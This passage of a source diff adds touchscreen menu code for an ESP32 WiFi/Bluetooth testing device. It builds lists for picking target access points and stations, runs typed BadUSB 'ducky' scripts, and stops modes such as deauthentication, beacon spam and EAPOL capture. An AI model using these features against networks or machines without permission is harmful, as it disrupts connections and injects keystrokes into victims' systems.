+    //    LV_LOG_USER("Clicked: %s", lv_list_get_btn_text(list1, obj));
+    //}
+  }
+  
+  void settings_list_cb(lv_obj_t * btn, lv_event_t event) {
+    extern Settings settings_obj;
+    extern MenuFunctions menu_function_obj;
+  
+    String btn_text = lv_list_get_btn_text(btn);
+    String display_string = "";
+    
+    if (event == LV_EVENT_CLICKED) {
+      if (btn_text == text07) {
+        Serial.println("Exiting...");
+        lv_obj_del_async(lv_obj_get_parent(lv_obj_get_parent(btn)));
+  
+        printf("LV_EVENT_CANCEL\n");
+        Serial.println("Potato");
+        //menu_function_obj.deinitLVGL();
+        //wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
+        //display_obj.exit_draw = true; // set everything back to normal
+      }
+      else {
+        // Build base obj to host buttons
+        Serial.println("Creating base object...");
+        lv_obj_t * obj;
+        obj = lv_obj_create(lv_scr_act(), NULL);
+        lv_obj_set_size(obj, LV_HOR_RES, LV_VER_RES);
+        
+        lv_obj_t * exit_btn;
+  
+        lv_obj_t * label;
+        
+        // Build the generic Exit button
+        exit_btn = lv_btn_create(obj, NULL);
+        lv_obj_set_event_cb(exit_btn, settings_list_cb);
+        lv_label_set_text(label, text07);
+        //lv_obj_center(label);
+  
+        label = lv_label_create(exit_btn, NULL);
+  
+        // Create the type specific device
+        if (settings_obj.getSettingType(btn_text) == "bool") {
+          lv_obj_t * sw = lv_switch_create(obj, NULL);
+          lv_obj_align(sw, NULL, LV_ALIGN_CENTER, 0, 0);
+        }
+      }
+    }
+  }
+  
+  void MenuFunctions::displaySettingsGFX(){
+    extern Settings settings_obj;
+  
+    DynamicJsonDocument json(1024); // ArduinoJson v6
+  
+    if (deserializeJson(json, settings_obj.getSettingsString())) {
+      Serial.println("\nCould not parse json");
+    }
+    
+    lv_obj_t * list1 = lv_list_create(lv_scr_act(), NULL);
+    lv_obj_set_size(list1, 160, 200);
+    lv_obj_set_width(list1, LV_HOR_RES);
+    lv_obj_align(list1, NULL, LV_ALIGN_CENTER, 0, 0);
+  
+    lv_obj_t * list_btn;
+  
+    lv_obj_t * label;
+  
+    lv_obj_t * sw;
+  
+    list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, text07);
+    lv_obj_set_event_cb(list_btn, ap_list_cb);
+  
+    for (int i = 0; i < json[text09].size(); i++) {
+      char buf[json[text08][i]["name"].as<String>().length() + 1] = {};
+      json[text08][i]["name"].as<String>().toCharArray(buf, json[text08][i]["name"].as<String>().length() + 1);
+      
+      list_btn = lv_list_add_btn(list1, LV_SYMBOL_WIFI, buf);
+      lv_btn_set_checkable(list_btn, false);
+      lv_obj_set_event_cb(list_btn, settings_list_cb);
+    }
+  }
+
+  // GFX Function to build a list showing all Stations scanned
+  void MenuFunctions::addStationGFX(){
+    extern LinkedList<Station>* stations;
+    extern LinkedList<AccessPoint>* access_points;
+    extern WiFiScan wifi_scan_obj;
+  
+    lv_obj_t * list1 = lv_list_create(lv_scr_act(), NULL);
+    lv_obj_set_size(list1, 160, 200);
+    lv_obj_set_width(list1, LV_HOR_RES);
+    lv_obj_align(list1, NULL, LV_ALIGN_CENTER, 0, 0);
+  
+    lv_obj_t * list_btn;
+  
+    lv_obj_t * label;
+  
+    list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, text09);
+    lv_obj_set_event_cb(list_btn, station_list_cb);
+
+    char addr[] = "00:00:00:00:00:00";
+    for (int x = 0; x < access_points->size(); x++) {
+      AccessPoint cur_ap = access_points->get(x);
+
+      // Add non clickable button for AP
+      String full_label = "AP: " + cur_ap.essid;
+      char buf[full_label.length() + 1] = {};
+      full_label.toCharArray(buf, full_label.length() + 1);
+      list_btn = lv_list_add_btn(list1, NULL, buf);
+      lv_btn_set_checkable(list_btn, false);
+      
+      int cur_ap_sta_len = access_points->get(x).stations->size();
+      for (int y = 0; y < cur_ap_sta_len; y++) {
+        Station cur_sta = stations->get(cur_ap.stations->get(y));
+        // Convert uint8_t MAC to char array
+        wifi_scan_obj.getMAC(addr, cur_sta.mac, 0);
+        
+        //char buf[stations->get(i).mac.length() + 1] = {};
+        //stations->get(i).mac.toCharArray(buf, stations->get(i).mac.length() + 1);
+        
+        list_btn = lv_list_add_btn(list1, LV_SYMBOL_WIFI, addr);
+        lv_btn_set_checkable(list_btn, true);
+        lv_obj_set_event_cb(list_btn, station_list_cb);
+    
+        if (cur_sta.selected)
+          lv_btn_toggle(list_btn);
+      }
+    }
+  }
+
+  // Function to work with list of Stations
+  void station_list_cb(lv_obj_t * btn, lv_event_t event) {
+    extern LinkedList<Station>* stations;
+    extern MenuFunctions menu_function_obj;
+    extern WiFiScan wifi_scan_obj;
+  
+    String btn_text = lv_list_get_btn_text(btn);
+    String display_string = "";
+    char addr[] = "00:00:00:00:00:00";
+    
+    if (event == LV_EVENT_CLICKED) {
+      if (btn_text != text09) {
+        //lv_list_focus_btn(lv_obj_get_parent(lv_obj_get_parent(btn)), btn);
+      }
+      else {
+        Serial.println("Exiting...");
+        lv_obj_del_async(lv_obj_get_parent(lv_obj_get_parent(btn)));
+  
+        for (int i = 0; i < stations->size(); i++) {
+          if (stations->get(i).selected) {
+            wifi_scan_obj.getMAC(addr, stations->get(i).mac, 0);
+            Serial.print("Selected: ");
+            Serial.println(addr);
+          }
+        }
+  
+        printf("LV_EVENT_CANCEL\n");
+        menu_function_obj.deinitLVGL();
+        wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
+        display_obj.exit_draw = true; // set everything back to normal
+      }
+    }
+    
+    if (event == LV_EVENT_VALUE_CHANGED) {     
+      if (lv_btn_get_state(btn) == LV_BTN_STATE_CHECKED_RELEASED) {
+        //Serial.print("Toggle on: ");
+        //Serial.println(btn_text);
+        for (int i = 0; i < stations->size(); i++) {
+          wifi_scan_obj.getMAC(addr, stations->get(i).mac, 0); 
+          if (strcmp(addr, btn_text.c_str()) == 0) {
+            Serial.print("Adding Station: ");
+            Serial.println(addr);
+            Station sta = stations->get(i);
+            sta.selected = true;
+            stations->set(i, sta);
+          }
+        }
+      }
+      else {
+        //Serial.print("Toggle off: ");
+        //Serial.println(btn_text);
+        for (int i = 0; i < stations->size(); i++) {
+          wifi_scan_obj.getMAC(addr, stations->get(i).mac, 0); 
+          if (strcmp(addr, btn_text.c_str()) == 0) {
+            Serial.print("Removing Station: ");
+            Serial.println(addr);
+            Station sta = stations->get(i);
+            sta.selected = false;
+            stations->set(i, sta);
+          }
+        }
+      }
+    }
+  }
+  
+  // GFX Function to build a list showing all APs scanned
+  void MenuFunctions::addAPGFX(){
+    extern LinkedList<AccessPoint>* access_points;
+  
+    lv_obj_t * list1 = lv_list_create(lv_scr_act(), NULL);
+    lv_obj_set_size(list1, 160, 200);
+    lv_obj_set_width(list1, LV_HOR_RES);
+    lv_obj_align(list1, NULL, LV_ALIGN_CENTER, 0, 0);
+  
+    lv_obj_t * list_btn;
+  
+    lv_obj_t * label;
+  
+    list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, text09);
+    lv_obj_set_event_cb(list_btn, ap_list_cb);
+  
+    for (int i = 0; i < access_points->size(); i++) {
+      char buf[access_points->get(i).essid.length() + 1] = {};
+      access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
+      
+      list_btn = lv_list_add_btn(list1, LV_SYMBOL_WIFI, buf);
+      lv_btn_set_checkable(list_btn, true);
+      lv_obj_set_event_cb(list_btn, ap_list_cb);
+  
+      if (access_points->get(i).selected)
+        lv_btn_toggle(list_btn);
+    }
+  }
+  
+  
+  
+  void ap_list_cb(lv_obj_t * btn, lv_event_t event) {
+    extern LinkedList<AccessPoint>* access_points;
+    extern MenuFunctions menu_function_obj;
+  
+    String btn_text = lv_list_get_btn_text(btn);
+    String display_string = "";
+    
+    if (event == LV_EVENT_CLICKED) {
+      if (btn_text != text09) {
+        //lv_list_focus_btn(lv_obj_get_parent(lv_obj_get_parent(btn)), btn);
+      }
+      else {
+        Serial.println("Exiting...");
+        lv_obj_del_async(lv_obj_get_parent(lv_obj_get_parent(btn)));
+  
+        for (int i = 0; i < access_points->size(); i++) {
+          if (access_points->get(i).selected) {
+            Serial.println("Selected: " + (String)access_points->get(i).essid);
+          }
+        }
+  
+        printf("LV_EVENT_CANCEL\n");
+        menu_function_obj.deinitLVGL();
+        wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
+        display_obj.exit_draw = true; // set everything back to normal
+      }
+    }
+    
+    if (event == LV_EVENT_VALUE_CHANGED) {      
+      if (lv_btn_get_state(btn) == LV_BTN_STATE_CHECKED_RELEASED) {
+        //Serial.print("Toggle on: ");
+        //Serial.println(btn_text);
+        for (int i = 0; i < access_points->size(); i++) {
+          if (access_points->get(i).essid == btn_text) {
+            Serial.println("Adding AP: " + (String)access_points->get(i).essid);
+            AccessPoint ap = access_points->get(i);
+            ap.selected = true;
+            access_points->set(i, ap);
+          }
+        }
+      }
+      else {
+        //Serial.print("Toggle off: ");
+        //Serial.println(btn_text);
+        for (int i = 0; i < access_points->size(); i++) {
+          if (access_points->get(i).essid == btn_text) {
+            Serial.println("Removing AP: " + (String)access_points->get(i).essid);
+            AccessPoint ap = access_points->get(i);
+            ap.selected = false;
+            access_points->set(i, ap);
+          }
+        }
+      }
+    }
+  }
+  
+  void MenuFunctions::addSSIDGFX(){
+    extern LinkedList<ssid>* ssids;
+    
+    String display_string = "";
+    // Create a keyboard and apply the styles
+    kb = lv_keyboard_create(lv_scr_act(), NULL);
+    lv_obj_set_size(kb, LV_HOR_RES, LV_VER_RES / 2);
+    lv_obj_set_event_cb(kb, add_ssid_keyboard_event_cb);
+  
+    // Create one text area
+    // Store all SSIDs
+    ta1 = lv_textarea_create(lv_scr_act(), NULL);
+    lv_textarea_set_one_line(ta1, false);
+    lv_obj_set_width(ta1, LV_HOR_RES);
+    lv_obj_set_height(ta1, (LV_VER_RES / 2) - 35);
+    lv_obj_set_pos(ta1, 5, 20);
+    lv_textarea_set_cursor_hidden(ta1, true);
+    lv_obj_align(ta1, NULL, LV_ALIGN_IN_TOP_MID, NULL, NULL);
+    lv_textarea_set_placeholder_text(ta1, text_table1[0]);
+  
+    // Create second text area
+    // Add SSIDs
+    ta2 = lv_textarea_create(lv_scr_act(), ta1);
+    lv_textarea_set_cursor_hidden(ta2, false);
+    lv_textarea_set_one_line(ta2, true);
+    lv_obj_align(ta2, NULL, LV_ALIGN_IN_TOP_MID, NULL, (LV_VER_RES / 2) - 35);
+    lv_textarea_set_text(ta2, "");
+    lv_textarea_set_placeholder_text(ta2, text_table1[1]);
+  
+    // After generating text areas, add text to first text box
+    for (int i = 0; i < ssids->size(); i++)
+      display_string.concat((String)ssids->get(i).essid + "\n");
+      
+    lv_textarea_set_text(ta1, display_string.c_str());
+  
+    // Focus it on one of the text areas to start
+    lv_keyboard_set_textarea(kb, ta2);
+    lv_keyboard_set_cursor_manage(kb, true);
+    
+  }
+  
+  void MenuFunctions::joinWiFiGFX(){
+  
+    // Create one text area
+    ta1 = lv_textarea_create(lv_scr_act(), NULL);
+    lv_textarea_set_one_line(ta1, true);
+    lv_obj_set_width(ta1, LV_HOR_RES / 2 - 20);
+    lv_obj_set_pos(ta1, 5, 20);
+    //lv_ta_set_cursor_type(ta, LV_CURSOR_BLOCK);
+    lv_textarea_set_text(ta1, "");
+    lv_obj_set_event_cb(ta1, ta_event_cb);
+  
+    // Create first label
+    lv_obj_t * ssid_label = lv_label_create(lv_scr_act(), NULL);
+    lv_label_set_text(ssid_label, text_table1[2]);
+    lv_obj_align(ssid_label, ta1, LV_ALIGN_OUT_TOP_LEFT, 0, 0);
+  
+    // Create second text area
+    ta2 = lv_textarea_create(lv_scr_act(), ta1);
+    //lv_textarea_set_pwd_mode(ta2, true); // This shit makes it so backspace does not work
+    //lv_textarea_set_pwd_show_time(ta2, 1000);
+    lv_textarea_set_cursor_hidden(ta2, true);
+    lv_obj_align(ta2, NULL, LV_ALIGN_IN_TOP_RIGHT, -5, 20);
+  
+    // Create second label
+    lv_obj_t * pw_label = lv_label_create(lv_scr_act(), NULL);
+    lv_label_set_text(pw_label, text_table1[3]);
+    lv_obj_align(pw_label, ta2, LV_ALIGN_OUT_TOP_LEFT, 0, 0);
+  
+    // Create a keyboard and apply the styles
+    kb = lv_keyboard_create(lv_scr_act(), NULL);
+    lv_obj_set_size(kb, LV_HOR_RES, LV_VER_RES / 2);
+    lv_obj_set_event_cb(kb, join_wifi_keyboard_event_cb);
+  
+    // Focus it on one of the text areas to start
+    lv_keyboard_set_textarea(kb, ta1);
+    lv_keyboard_set_cursor_manage(kb, true);
+    
+  }
+  
+  // Function to create keyboard for saving file name
+  void save_as_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event) {
+    extern MenuFunctions menu_function_obj;
+  
+    lv_keyboard_def_event_cb(save_as_kb, event);
+  
+    // User canceled so we will get rid of the keyboard and text box
+    if (event == LV_EVENT_CANCEL) {
+      lv_obj_del_async(save_as_kb);
+      lv_obj_del_async(save_name);
+    }
+  
+    // Save content from ta1 to file name in save_name
+    else if(event == LV_EVENT_APPLY){
+        String display_string = "";
+        printf("LV_EVENT_APPLY\n");
+  
+        // Get ducky script
+        String content = lv_textarea_get_text(ta1);
+  
+        String target_file_name = "/SCRIPTS/" + (String)lv_textarea_get_text(save_name);
+  
+        Serial.println("Writing to target file: " + (String)target_file_name);
+  
+        // Open file with the given name
+        File script = SD.open(target_file_name, FILE_WRITE);
+  
+        if (script) {
+          menu_function_obj.loaded_file = target_file_name;
+  
+          Serial.println("Writing content: ");
+          Serial.println(content);
+  
+          script.print(content);
+  
+          script.close();
+        }
+  
+        lv_obj_del_async(save_as_kb);
+        lv_obj_del_async(save_name);
+  
+        // Create Save button
+        lv_obj_t * save_label;
+        lv_obj_t * save_btn = lv_btn_create(lv_scr_act(), NULL);
+        lv_obj_set_event_cb(save_btn, load_btn_cb);
+        lv_obj_set_height(save_btn, 35);
+        lv_obj_set_width(save_btn, LV_HOR_RES / 3);
+        lv_obj_align(save_btn, ta1, LV_ALIGN_IN_TOP_LEFT, NULL, (LV_VER_RES / 2) - 35); // align to text area
+        save_label = lv_label_create(save_btn, NULL);
+        lv_label_set_text(save_label, text13);
+    }
+  }
+  
+  
+  void test_btn_cb(lv_obj_t * btn, lv_event_t event) {
+    extern MenuFunctions menu_function_obj;
+    
+    if (event == LV_EVENT_CLICKED) {
+      String btn_text = lv_list_get_btn_text(btn);
+      String display_string = "";
+      //printf("Clicked: %s\n", btn_text);
+      Serial.print("Clicked: ");
+      Serial.println(btn_text);
+  
+      // Get file content and send to text area
+      if (btn_text != text12) {
+        File script = SD.open(btn_text);
+  
+        if (script) {
+          while (script.available()) {
+            display_string.concat((char)script.read());
+          }
+          script.close();
+  
+          Serial.println(display_string);
+  
+          char buf[display_string.length() + 1] = {};
+          display_string.toCharArray(buf, display_string.length() + 1);
+          
+          lv_textarea_set_text(ta1, buf);
+  
+          // Create Save button
+          lv_obj_t * save_label;
+          lv_obj_t * save_btn = lv_btn_create(lv_scr_act(), NULL);
+          lv_obj_set_event_cb(save_btn, load_btn_cb);
+          lv_obj_set_height(save_btn, 35);
+          lv_obj_set_width(save_btn, LV_HOR_RES / 3);
+          lv_obj_align(save_btn, ta1, LV_ALIGN_IN_TOP_LEFT, NULL, (LV_VER_RES / 2) - 35); // align to text area
+          save_label = lv_label_create(save_btn, NULL);
+          lv_label_set_text(save_label, text13);
+        }
+      }
+  
+      // Delete the file list obj
+      lv_obj_del_async(lv_obj_get_parent(lv_obj_get_parent(btn)));
+      menu_function_obj.loaded_file = btn_text;
+    }
+  }
+  
+  void load_btn_cb(lv_obj_t * load_btn, lv_event_t event) {
+    extern SDInterface sd_obj;
+    extern MenuFunctions menu_function_obj;
+  
+    String btn_text = lv_list_get_btn_text(load_btn);
+  
+    if (btn_text == "Load") {
+      if (event == LV_EVENT_CLICKED)
+        Serial.println("Load button pressed");
+      else if (event == LV_EVENT_RELEASED) {
+        Serial.println("Load button released");
+        /*Create a list*/
+        lv_obj_t * list1 = lv_list_create(lv_scr_act(), NULL);
+        lv_obj_set_size(list1, 160, 200);
+        lv_obj_set_width(list1, LV_HOR_RES);
+        lv_obj_align(list1, NULL, LV_ALIGN_CENTER, 0, 0);
+        //lv_list_set_anim_time(list1, 0);
+    
+        // Load file names into buttons
+        File scripts = SD.open("/SCRIPTS");
+    
+        // Build list of files from the SD card
+        lv_obj_t * list_btn;
+  
+        list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, text12);
+        lv_obj_set_event_cb(list_btn, test_btn_cb);
+    
+        while (true) {
+          File entity = scripts.openNextFile();
+    
+          if (!entity)
+            break;
+    
+          if (!entity.isDirectory()) {
+            String file_name = entity.name();
+    
+            // Fancy button text time
+            char buf[file_name.length() + 1] = {};
+            file_name.toCharArray(buf, file_name.length() + 1);
+            
+            list_btn = lv_list_add_btn(list1, LV_SYMBOL_FILE, buf);
+            lv_obj_set_event_cb(list_btn, test_btn_cb);
+          }
+    
+          entity.close();
+        }
+    
+        scripts.close();
+      }
+    }
+  
+    // Save current text bod content to new file
+    else if (btn_text == text06) {
+      if (event == LV_EVENT_CLICKED)
+        Serial.println("Save button pressed");
+      else if (event == LV_EVENT_RELEASED) {
+        Serial.println("Save button released");
+  
+        save_name = lv_textarea_create(lv_scr_act(), ta2);
+        lv_textarea_set_cursor_hidden(save_name, false);
+        lv_textarea_set_one_line(save_name, true);
+        lv_obj_align(save_name, NULL, LV_ALIGN_IN_TOP_MID, NULL, (LV_VER_RES / 2) - 35);
+        lv_textarea_set_text(save_name, "");
+        lv_textarea_set_placeholder_text(save_name, "File Name");
+  
+        // Create a keyboard and apply the styles
+        save_as_kb = lv_keyboard_create(lv_scr_act(), NULL);
+        lv_obj_set_size(save_as_kb, LV_HOR_RES, LV_VER_RES / 2);
+        lv_obj_set_event_cb(save_as_kb, save_as_keyboard_event_cb);
+  
+        lv_keyboard_set_textarea(save_as_kb, save_name);
+        lv_keyboard_set_cursor_manage(save_as_kb, true);
+      }
+    }
+  
+    // Save current text box content to current loaded file
+    else if (btn_text == text13) {
+      if (event == LV_EVENT_CLICKED)
+        Serial.println("Save button pressed");
+      else if (event == LV_EVENT_RELEASED) {
+        Serial.println("Save button released");
+  
+        Serial.println("Writing to file: " + (String)menu_function_obj.loaded_file);
+  
+        File script = SD.open(menu_function_obj.loaded_file, FILE_WRITE);
+  
+        // Write data to file
+        if (script) {
+          String content = lv_textarea_get_text(ta1);
+  
+          Serial.println("Writing content:");
+          Serial.println(content);
+          Serial.println("to file: " + (String)menu_function_obj.loaded_file);
+          script.print(lv_textarea_get_text(ta1));
+          script.close();
+        }
+      }
+    }
+  }
+  
+  void write_bad_usb_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event) {
+    extern Display display_obj;
+    extern MenuFunctions menu_function_obj;
+    extern A32u4Interface a32u4_obj;
+    extern WiFiScan wifi_scan_obj;
+    
+    lv_keyboard_def_event_cb(kb, event);
+    if(event == LV_EVENT_APPLY){
+        String display_string = "";
+        printf("LV_EVENT_APPLY\n");
+  
+      String ta1_text = lv_textarea_get_text(ta1);
+    
+      Serial.println(ta1_text);
+    
+      a32u4_obj.runScript(ta1_text);
+    }
+    else if(event == LV_EVENT_CANCEL) {
+      printf("LV_EVENT_CANCEL\n");
+      menu_function_obj.deinitLVGL();
+      wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
+      display_obj.exit_draw = true; // set everything back to normal
+    }
+  }
+  
+  // Keyboard callback dedicated to joining wifi
+  void add_ssid_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event){
+    extern Display display_obj;
+    extern MenuFunctions menu_function_obj;
+    extern WiFiScan wifi_scan_obj;
+    extern LinkedList<ssid>* ssids;
+    
+    lv_keyboard_def_event_cb(kb, event);
+  
+    // User has applied text box
+    if(event == LV_EVENT_APPLY){
+      String display_string = "";
+      printf("LV_EVENT_APPLY\n");
+  
+      // Get text from SSID text box
+      String ta2_text = lv_textarea_get_text(ta2);
+      //Serial.println(ta1_text);
+      Serial.println(ta2_text);
+  
+      // Add text box text to list of SSIDs
+      wifi_scan_obj.addSSID(ta2_text);
+  
+      // Update large text box with ssid
+      for (int i = 0; i < ssids->size(); i++)
+        display_string.concat((String)ssids->get(i).essid + "\n");
+      lv_textarea_set_text(ta1, display_string.c_str());
+  
+      lv_textarea_set_text(ta2, "");
+    }else if(event == LV_EVENT_CANCEL){
+      printf("LV_EVENT_CANCEL\n");
+      //lv_textarea_set_text(lv_keyboard_get_textarea(kb), "");
+      menu_function_obj.deinitLVGL();
+      //wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
+      display_obj.exit_draw = true; // set everything back to normal
+    }
+  }
+  
+  // Keyboard callback dedicated to joining wifi
+  void join_wifi_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event){
+    extern Display display_obj;
+    extern MenuFunctions menu_function_obj;
+    extern WiFiScan wifi_scan_obj;
+    lv_keyboard_def_event_cb(kb, event);
+    if(event == LV_EVENT_APPLY){
+      printf("LV_EVENT_APPLY\n");
+      //String ta1_text = lv_textarea_get_text(lv_keyboard_get_textarea(kb));
+      String ta1_text = lv_textarea_get_text(ta1);
+      String ta2_text = lv_textarea_get_text(ta2);
+      Serial.println(ta1_text);
+      Serial.println(ta2_text);
+      wifi_scan_obj.joinWiFi(ta1_text, ta2_text);
+    }else if(event == LV_EVENT_CANCEL){
+      printf("LV_EVENT_CANCEL\n");
+      //lv_textarea_set_text(lv_keyboard_get_textarea(kb), "");
+      menu_function_obj.deinitLVGL();
+      //wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
+      display_obj.exit_draw = true; // set everything back to normal
+    }
+  }
+  
+  
+  void ta_event_cb(lv_obj_t * ta, lv_event_t event)
+  {
+    if(event == LV_EVENT_CLICKED) {
+      if(kb != NULL)
+        lv_keyboard_set_textarea(kb, ta);
+    }
+  
+    //else if(event == LV_EVENT_INSERT) {
+    //  const char * str = lv_event_get_data();
+    //  if(str[0] == '\n') {
+    //    printf("Ready\n");
+    //  }
+    //}
+  }
+
+#endif
+//// END LV_ARDUINO STUFF
+
+void MenuFunctions::buttonNotSelected(uint8_t b) {
+  display_obj.tft.setFreeFont(NULL);
+  display_obj.key[b].drawButton(false, current_menu->list->get(b).name);
+}
+
+void MenuFunctions::buttonSelected(uint8_t b) {
+  display_obj.tft.setFreeFont(NULL);
+  display_obj.key[b].drawButton(true, current_menu->list->get(b).name);
+}
+
+// Function to check menu input
+void MenuFunctions::main(uint32_t currentTime)
+{
+  // Some function exited and we need to go back to normal
+  if (display_obj.exit_draw) {
+    wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
+    display_obj.exit_draw = false;
+    this->orientDisplay();
+  }
+  if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_OFF) ||
+      (wifi_scan_obj.currentScanMode == OTA_UPDATE) ||
+      (wifi_scan_obj.currentScanMode == ESP_UPDATE) ||
+      (wifi_scan_obj.currentScanMode == SHOW_INFO)) {
+    if (wifi_scan_obj.orient_display) {
+      this->orientDisplay();
+      wifi_scan_obj.orient_display = false;
+    }
+    #ifndef MARAUDER_MINI
+      if ((wifi_scan_obj.currentScanMode != LV_JOIN_WIFI) &&
+          (wifi_scan_obj.currentScanMode != LV_ADD_SSID))
+        display_obj.updateBanner(current_menu->name);
+    #endif
+  }
+
+  if (currentTime != 0) {
+    if (currentTime - initTime >= BANNER_TIME) {
+      this->initTime = millis();
+      if ((wifi_scan_obj.currentScanMode != LV_JOIN_WIFI) &&
+          (wifi_scan_obj.currentScanMode != LV_ADD_SSID))
+        this->updateStatusBar();
+        #ifdef MARAUDER_MINI
+          display_obj.updateBanner(current_menu->name);
+        #endif
+    }
+  }
+
+
+  boolean pressed = false;
+  // This is code from bodmer's keypad example
+  uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
+
+  // Get the display buffer out of the way
+  if ((wifi_scan_obj.currentScanMode != WIFI_SCAN_OFF ) &&
+      (wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_SPAM) &&
+      (wifi_scan_obj.currentScanMode != WIFI_ATTACK_AP_SPAM) &&
+      (wifi_scan_obj.currentScanMode != WIFI_ATTACK_AUTH) &&
+      (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH) &&
+      (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH_MANUAL) &&
+      (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH_TARGETED) &&
+      (wifi_scan_obj.currentScanMode != WIFI_ATTACK_MIMIC) &&
+      (wifi_scan_obj.currentScanMode != WIFI_ATTACK_RICK_ROLL))
+    display_obj.displayBuffer();
+
+
+  // Pressed will be set true is there is a valid touch on the screen
+  int pre_getTouch = millis();
+
+  // getTouch causes a 10ms delay which makes beacon spam less effective
+  #ifndef MARAUDER_MINI
+    pressed = display_obj.tft.getTouch(&t_x, &t_y);
+  #endif
+
+
+  // This is if there are scans/attacks going on
+  #ifndef MARAUDER_MINI
+    if ((wifi_scan_obj.currentScanMode != WIFI_SCAN_OFF) &&
+        (pressed) &&
+        (wifi_scan_obj.currentScanMode != OTA_UPDATE) &&
+        (wifi_scan_obj.currentScanMode != ESP_UPDATE) &&
+        (wifi_scan_obj.currentScanMode != SHOW_INFO))
+    {
+      // Stop the current scan
+      if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_PROBE) ||
+          (wifi_scan_obj.currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
+          (wifi_scan_obj.currentScanMode == WIFI_SCAN_STATION) ||
+          (wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) ||
+          (wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP) ||
+          (wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
+          (wifi_scan_obj.currentScanMode == WIFI_SCAN_PWN) ||
+          (wifi_scan_obj.currentScanMode == WIFI_SCAN_ESPRESSIF) ||
+          (wifi_scan_obj.currentScanMode == WIFI_SCAN_ALL) ||
+          (wifi_scan_obj.currentScanMode == WIFI_SCAN_DEAUTH) ||
+          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
+          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_AP_SPAM) ||
+          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_AUTH) ||
+          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH) ||
+          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
+          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) ||
+          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_MIMIC) ||
+          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
+          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
+          (wifi_scan_obj.currentScanMode == BT_SCAN_ALL) ||
+          (wifi_scan_obj.currentScanMode == BT_SCAN_SKIMMERS))
+      {
+        wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
+  
+        // If we don't do this, the text and button coordinates will be off
+        display_obj.tft.init();
+  
+        // Take us back to the menu
+        changeMenu(current_menu);
+      }
+  
+      x = -1;
+      y = -1;
+  
+      return;
+    }
+  #endif
+
+  #ifdef MARAUDER_MINI
+
+    bool c_btn_press = c_btn.justPressed();
+    
+    if ((c_btn_press) &&
+        (wifi_scan_obj.currentScanMode != WIFI_SCAN_OFF) &&
+        (wifi_scan_obj.currentScanMode != OTA_UPDATE) &&
+        (wifi_scan_obj.currentScanMode != ESP_UPDATE) &&
+        (wifi_scan_obj.currentScanMode != SHOW_INFO))
+    {
+      // Stop the current scan
+      if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_PROBE) ||
+          (wifi_scan_obj.currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
+          (wifi_scan_obj.currentScanMode == WIFI_SCAN_STATION) ||
+          (wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) ||
+          (wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP) ||
+          (wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
+          (wifi_scan_obj.currentScanMode == WIFI_SCAN_PWN) ||
+          (wifi_scan_obj.currentScanMode == WIFI_SCAN_ESPRESSIF) ||
+          (wifi_scan_obj.currentScanMode == WIFI_SCAN_ALL) ||
+          (wifi_scan_obj.currentScanMode == WIFI_SCAN_DEAUTH) ||
+          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
+          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_AP_SPAM) ||
+          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_AUTH) ||
+          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH) ||
+          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
+          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) ||
+          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_MIMIC) ||
+          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
+          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
+          (wifi_scan_obj.currentScanMode == BT_SCAN_ALL) ||
+          (wifi_scan_obj.currentScanMode == BT_SCAN_SKIMMERS) ||
+          (wifi_scan_obj.currentScanMode == WIFI_SCAN_EAPOL) ||
+          (wifi_scan_obj.currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) ||
+          (wifi_scan_obj.currentScanMode == WIFI_PACKET_MONITOR))
+      {
+        wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
+  
